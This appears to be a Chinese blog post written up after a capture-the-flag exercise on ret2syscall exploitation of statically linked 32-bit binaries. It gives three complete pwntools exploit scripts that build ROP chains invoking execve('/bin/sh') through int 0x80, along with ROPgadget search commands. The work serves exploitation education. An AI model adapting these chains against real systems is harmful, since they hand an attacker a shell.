再识ret2syscall
当初学rop学到的ret2syscall,对int 0x80中断了解还不是很深,这次又复习了一遍。虽然很简单,但是还是学到了新东西。那么我们就从ret2syscall开始吧。
IDA一打开的时候,就看见函数窗口有超级多的函数,我就意识到,应该是静态编译。这样软件就没调用libc,也就不存在leak libc版本来获取shell地址了。记得以前做过的一道静态编译,利用的是ROPgadget。刚刚试了一下,发现这道题也可以,这个我们最后说。
IDA打开后搜索字符串,发现“/bin/sh”字样,但是没有system函数。那么我们就想到用系统调用的方法来拿到shell。系统调用需要一个函数就是int 0x80,我们用ROPgadget来搜索一下。

截图中我们有了int 0x80的地址和“/bin/sh”的地址,再获取一些给寄存器赋值的gadget就可以写exp了,这里就直接贴上exp了。
1 from pwn import *
2
3 p = process('./ret2syscall')
4
5 binsh_addr = 0x080be408
6 pop_eax = 0x080bb196
7 pop_edx_ecx_ebx = 0x0806eb90
8 int80_addr = 0x08049421
9
10 payload = 'a'*112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0x0) + p32(0x0) + p32(binsh_addr) + p32(int80_addr)
11
12 p.sendline(payload)
13 p.interactive()
这是我第一次学习时候的ret2syscall的时候的exp,当我今天又遇到一个这种类型的题。我们来细细看一下。

直接main函数一个gets溢出,然后就没了。这道题是直接搜不出“/bin/sh”字符串的。但是其实如果真的掌握精髓的话,其实是可以拼接出“/bin/sh”字符串的,因为我搜了一下,有“/”,有“bin”,有“sh”,但是我拼接过程中不知道该如何截断一个字符串。那么我们还能怎么办呢?既然是系统调用,那么我们不如调用一个read函数,来自己输入“/bin/sh”吧。
自己输入“/bin/sh”的话,就需要我们调用两次int 80,但是,却怎么也打不通。

这时候有师傅告诉我说,用ROPgadget这样搜索,搜出来也是系统调用,我怀着疑惑,用qira看一下。

我们调用了两次int80,但是汇编只显示了一行,经过调试发现,当read执行完,执行shellcode的时候又会跳到第一个int80来系统调用。
那我们再看一下,第一次搜索出来的int80为啥不行。。。

发现这样调用之后,任务直接就中断了,就不会继续执行了。。。
那么就总结出来了,如果只需要一次系统调用,可以用这种命令:ROPgadget --binary rop --only 'int'
如果我们需要多次系统调用,就只能用这个命令来找int 0x80 :ROPgadget --binary rop --opcode cd80c3
本题如果我们要自己输入“/bin/sh”的话,就需要用这个找到的地址了。
那么我们贴一下这道题的exp:
1 from pwn import *
2 import time
3
4 p = process('./rop')
5 #p = remote('127.0.0.1',4000)
6 elf = ELF('./rop')
7 context.log_level = 'debug'
8
9 pop_eax_edx_ebx = 0x08053d14
10 pop_ecx = 0x080595b3
11 ret = 0x080481b2
12 #int80 = 0x0806c405 #int80
13 int80 = 0x0806ef00 #ROPgadget --binary rop --opcode cd80c3
14 buf = elf.bss() + 0x300
15 payload = 'a'*22
16 payload += flat([
17 pop_eax_edx_ebx,
18 0x3,
19 0x10,
20 0x0,
21 pop_ecx,
22 buf,
23 int80,
24 pop_eax_edx_ebx,
25 0xb,
26 0x0,
27 buf,
28 pop_ecx,
29 0x0,
30 int80])
31 p.sendline(payload)
32 sleep(1)
33 p.send('/bin/sh\x00')
34 sleep(1)
35 p.sendline('cat flag.txt')
36 p.recv()
37 p.close()
说到这里,其实也该完了,但是我发下ROPgadget是真的牛逼。他还有这么一行命令:
ROPgadget --binary rop --ropchain
这行命令,会自己从程序里面找gadget片段,然后拼接出shellcode,如果这道题用这种方法做,我贴一下exp:
1 from pwn import *
2 from struct import pack
3 import time
4
5 z = process('./rop')
6 #p = remote('127.0.0.1',4000)
7 elf = ELF('./rop')
8 context.log_level = 'debug'
9
10 p = 'a'*22
11
12 p += pack('<I', 0x0806e7da) # pop edx ; ret
13 p += pack('<I', 0x080ec080) # @ .data
14 p += pack('<I', 0x080b90f6) # pop eax ; ret
15 p += '/bin'
16 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
17 p += pack('<I', 0x0806e7da) # pop edx ; ret
18 p += pack('<I', 0x080ec084) # @ .data + 4
19 p += pack('<I', 0x080b90f6) # pop eax ; ret
20 p += '//sh'
21 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
22 p += pack('<I', 0x0806e7da) # pop edx ; ret
23 p += pack('<I', 0x080ec088) # @ .data + 8
24 p += pack('<I', 0x08049173) # xor eax, eax ; ret
25 p += pack('<I', 0x08054642) # mov dword ptr [edx], eax ; ret
26 p += pack('<I', 0x080481c9) # pop ebx ; ret
27 p += pack('<I', 0x080ec080) # @ .data
28 p += pack('<I', 0x080595b3) # pop ecx ; ret
29 p += pack('<I', 0x080ec088) # @ .data + 8
30 p += pack('<I', 0x0806e7da) # pop edx ; ret
31 p += pack('<I', 0x080ec088) # @ .data + 8
32 p += pack('<I', 0x08049173) # xor eax, eax ; ret
33 p += pack('<I', 0x080be674) # inc eax ; ret
34 p += pack('<I', 0x080be674) # inc eax ; ret
35 p += pack('<I', 0x080be674) # inc eax ; ret
36 p += pack('<I', 0x080be674) # inc eax ; ret
37 p += pack('<I', 0x080be674) # inc eax ; ret
38 p += pack('<I', 0x080be674) # inc eax ; ret
39 p += pack('<I', 0x080be674) # inc eax ; ret
40 p += pack('<I', 0x080be674) # inc eax ; ret
41 p += pack('<I', 0x080be674) # inc eax ; ret
42 p += pack('<I', 0x080be674) # inc eax ; ret
43 p += pack('<I', 0x080be674) # inc eax ; ret
44 p += pack('<I', 0x0806c405) # int 0x80
45 z.sendline(p)
46 z.interactive()
47
payload直接用自动生成的就可以,仔细阅读一下自动生成的,发现就是都是利用片段拼接,而且只调用了一次int 0x80,调用的这次也是咱们那个只能用一次的int 0x80的那个地址。这样,这种题目就算是分析透彻了。
当然这种直接生成的payload一般都比较长,适用于gets函数,我做了一道题是read,因为限制长度就不能用。
好了,分析就到这了。
再识ret2syscall的更多相关文章
- JS魔法堂:再识Number type
Brief 本来只打算理解JS中0.1 + 0.2 == 0.30000000000000004的原因,但发现自己对计算机的数字表示和运算十分陌生,于是只好恶补一下.以下是恶补后的成果: 基础野:细说 ...
- JS魔法堂:再识IE的内存泄露
一.前言 IE6~8除了不遵守W3C标准和各种诡异外,我想最让人诟病的应该是内存泄露的问题了.这阵子趁项目技术调研的机会好好的再认识一回,以下内容若有纰漏请大家指正,谢谢! 目录一大坨! 二.内存泄漏 ...
- C#再识委托
从C#1到C#3逐步认识委托,由于C#4与C#5对委托改动并不大,故不作说明. 好久没看.NET了,一直在搞HybridAPP,都忘得差不多了,这也是自己从书中摘下笔迹,供日后翻阅. C# 1 1.什 ...
- Play再识 - 不放弃的执着
从写Play初识时,前面各种称赞play如何如何解放java web开发,最后因为网络被墙而无法正常编译,从而想到放弃.从来都有成为web开发高手的想法,今天又再一次进行尝试,惊喜的是有新的进展. 首 ...
- [转]再识Cortex-M3之堆栈
原地址https://blog.csdn.net/liaoxu02/article/details/48107651 Cortex-M3拥有通用寄存器R0-R15以及一些特殊功能寄存器.R0-R12是 ...
- HDU2157 How many ways矩阵再识
春天到了, HDU校园里开满了花, 姹紫嫣红, 非常美丽. 葱头是个爱花的人, 看着校花校草竞相开放, 漫步校园, 心情也变得舒畅. 为了多看看这迷人的校园, 葱头决定, 每次上课都走不同的路线去教室 ...
- 【drp 12】再识转发和重定向:SpringMVC无法跳转页面
最近再使用SpringMVC进行页面跳转的时候,不知道发生了什么,始终都无法正确跳转.后来问题解决了,发现是对于转发和重定向没有能很好的理解,以此写篇博客,权当做积累了! 声明:本博客的所有代码,均为 ...
- swift 再识枚举变量
// Use enum to create an enumeration. Like classes and all other named types, enumerations can have ...
- 再识Quartz
在之前的项目中使用过Quartz,但都是基于XML配置定义任务的.目前一个项目应用需要对任务进行创建.暂停.删除等动态管理.所以再次在网上翻了翻,再来好好重新认识下Quartz. 名词解释: sche ...
随机推荐
- linux 同时执行多个命令及几个基础命令
先后不同的命令用分号:隔开即可 基础命令: 1.cd 进入目录 /代表根目录,.代表当前目录,..代表上一级目录 2.ls 显示当前目录下的所有文件和文件夹 -F区分目录和文件,文件后边是*代表可执行 ...
- app如何测试
你的app是如何测试? 考虑UI界面测试,在测试主体的功能模块,考虑异常测试,关机,卡死,重启..., 交互性测试,手机常用操作,打电话,短信..,适配性测试,原来我们的公司就买了华为mate8 ...
- 【玩具】使用Python自动化发送微信消息进行订水
事情是这样的,我知道淘宝上有卖一种USB接口的大按钮,估计是给工厂或者医院之类的场景设计的,样子长这样: 然后我就一直挺想搞一个的,不为别的,就是玩,但是想来想去也没想到这玩意儿对我而言能有啥用途,就 ...
- 【BZOJ 4668 冷战】
题目: [BZOJ 4668 冷战] 思路: 因为考虑强制在线,我们是肯定要维护形状的 我们发现如果\((u,v)\)这条边如果\(u,v\)已经连上,那么对于最终答案这条边是没有贡献的 所以我们发现 ...
- 洛谷 P3580 - [POI2014]ZAL-Freight(单调队列优化 dp)
洛谷题面传送门 考虑一个平凡的 DP:我们设 \(dp_i\) 表示前 \(i\) 辆车一来一回所需的最小时间. 注意到我们每次肯定会让某一段连续的火车一趟过去又一趟回来,故转移可以枚举上一段结束位置 ...
- 洛谷 P7718 -「EZEC-10」Equalization(差分转化+状压 dp)
洛谷题面传送门 一道挺有意思的题,现场切掉还是挺有成就感的. 首先看到区间操作我们可以想到差分转换,将区间操作转化为差分序列上的一个或两个单点操作,具体来说我们设 \(b_i=a_{i+1}-a_i\ ...
- Unique Path AGC 038 D
Unique Path AGC 038 D 考虑如果两个点之间只能有一个边它们就把它们缩起来,那么最后缩起来的每一块都只能是一棵树. 如果两个点之间必须不止一个边,并且在一个连通块,显然无解. 首先把 ...
- 数据库连接池配置 testOnBorrow
背景 前段时间做系统压测,发现DB的CPU使用率飙升很严重,排查后发现是一个配置testOnBorrow由false修改为true导致.怎么对性能影响这么大?需要好好了解一下. testOnBorro ...
- 01 Windows安装C语言环境
安装C语言运行环境 双击打开安装文件,进行安装 配置环境变量 将: C:\MinGW\bin;添加到Path变量里面. 验证环境变量是否成功 gcc –v 出现如下图所示,证明安装成功
- linux 实用指令文件目录类
目录 linux实用指令文件目录类 路径 pwd指令 cd指令 操作文件夹/文件 ls指令 mkdir rmdir touch cp(重要) rm mv 操作内容 cat more less > ...